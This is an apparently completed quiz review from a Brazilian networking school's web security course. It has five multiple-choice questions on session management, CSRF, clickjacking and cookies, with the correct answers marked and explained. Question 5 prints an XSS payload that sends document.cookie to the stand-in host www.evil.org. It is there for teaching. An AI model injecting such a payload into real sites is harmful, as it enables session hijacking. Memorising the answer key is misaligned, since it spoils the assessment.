ESCOLA SUPERIOR DE REDES

Navegação do questionário

1 2 3 4 5

Terminar revisão

Iniciado em	segunda-feira, 16 set. 2024, 19:34
Estado	Finalizada
Concluída em	segunda-feira, 16 set. 2024, 19:49
Tempo empregado	15 minutos 38 segundos

QUESTÃO 1

Correto

Vale 1,00 ponto(s).

Qual dos itens a seguir NÃO é uma vulnerabilidade no gerenciamento de sessões?

Escolha uma opção:

- a. Transporte de identificador de sessão por meio de cookies. ✓
- b. Uso de identificadores de sessão pertencentes a conjunto de baixa cardinalidade.
- c. Uso de identificadores de sessão previsíveis.
- d. Manter o mesmo identificador de sessão atribuído a um usuário, mesmo após ele se re-autenticar no sistema.
- e. Redirecionar o usuário para a tela de autenticação, sem destruir o objeto de sessão a ele atribuído, quando a opção de saída da aplicação for selecionada.

Sua resposta está correta.

Desde que cifrado, o transporte de identificadores de sessão não representa um problema de segurança, mesmo que seja dentro de um cookie.

Já o uso de identificadores de sessão com baixa cardinalidade, previsíveis ou fixado para diferentes sessões torna o processo de autenticação inseguro.

A resposta correta é: Transporte de identificador de sessão por meio de cookies.

QUESTÃO 2

Correto

Vale 1,00 ponto(s).

Qual das afirmações a seguir sobre o ataque CSRF NÃO é verdadeira?

Escolha uma opção:

a. Um dos melhores métodos de proteção consiste no uso de um token anti-CSRF, gerado aleatoriamente e com tamanho superior a 128 bits.

b. Tokens anti-CSRF podem ser quebrados por meio de clickjacking.

c. Não é possível efetuar o ataque se a submissão de formulários sempre empregar o método POST em vez de GET. ✓

d. Para o ataque funcionar, o processo de autorização de operações deve se basear somente em informações enviadas automaticamente pelo navegador web.

e. Permite executar operações em uma sessão válida sem o conhecimento do usuário.

Sua resposta está correta.

Ataques de CSRF podem ser realizados independente do método HTTP utilizado.

A resposta correta é: Não é possível efetuar o ataque se

a submissão de formulários sempre empregar o método POST em vez de GET.

QUESTÃO 3

Correto

Vale 1,00 ponto(s).

Para verificar se uma aplicação é vulnerável a clickjacking, o analista pode realizar qual dos testes a seguir?

Escolha uma opção:

a. Verificar se é possível abrir a página da aplicação em um iframe. ✓

b. Verificar a aleatoriedade do identificador de sessão.

c. Analisar se toda página gerada possui um token anti-CSRF.

d. Tentar iniciar múltiplas sessões em paralelo com a mesma conta.

e. Verificar se o identificador de sessão é renovado após o processo de autenticação.

Sua resposta está correta.

Para testar se uma aplicação é vulnerável a ataque clickjacking basta inserir a página alvo em um iframe e verificar se ela é carregada.

A resposta correta é: Verificar se é possível abrir a página da aplicação em um iframe.

QUESTÃO 4

Correto

Vale 1,00 ponto(s).

Assinale a alternativa INCORRETA sobre cookies:

Escolha uma opção:

a. Mecanismo utilizado para lembrar informações do usuário.

b. Formado por pares nome/valor separados por ponto-e-vírgula.

c. Cookies e identificadores de sessão são a mesma coisa. ✓

d. São enviados automaticamente pelo navegador web para o site que os definiu.

e. Podem possuir atributos como “expires” e “domain”.

Sua resposta está correta.

Cookies e identificadores de sessão não são a mesma coisas. Podemos utilizar cookies para identificar a sessão porém os cookies também podem ser utilizados para outros fins como armazenar as preferências de um usuário em um determinado site.

A resposta correta é: Cookies e identificadores de sessão são a mesma coisa.

QUESTÃO 5

Correto

Vale 1,00 ponto(s).

De forma resumida, qual a consequência do código javascript abaixo ser injetado com sucesso em uma aplicação Web:

<script>document.write('<img

src="http://www.evil.org/?SID='+

document.cookie+'"/>');</script>

Escolha uma opção:

a. irá aparecer uma imagem que ao ser clicada mostra o valor da variável document.cookie

b. os cookie gerados pela aplicação serão enviados ao servidor www.evil.org ✓

c. não irá acontecer nada já que o código possui erros que impedem sua execução.

d. será enviado informações do header de autenticação do usuário ao servidor www.evil.org.

Sua resposta está correta.

Este código irá enviar o conteúdo da variável document.cookie para o servidor www. evil.org. Embora, ao observar o código, a sensação seja que para isso acontecer seria necessário clicar na imagem que está sendo inserida na página, na verdade o navegador vai tentar

baixar uma imagem no site www.evil.org passando na requisição, via URL, o conteúdo da variável document.cookie.

A resposta correta é: os cookie gerados pela aplicação serão enviados ao servidor www.evil.org

◄ Tarefa 4

Conteúdo do Módulo ►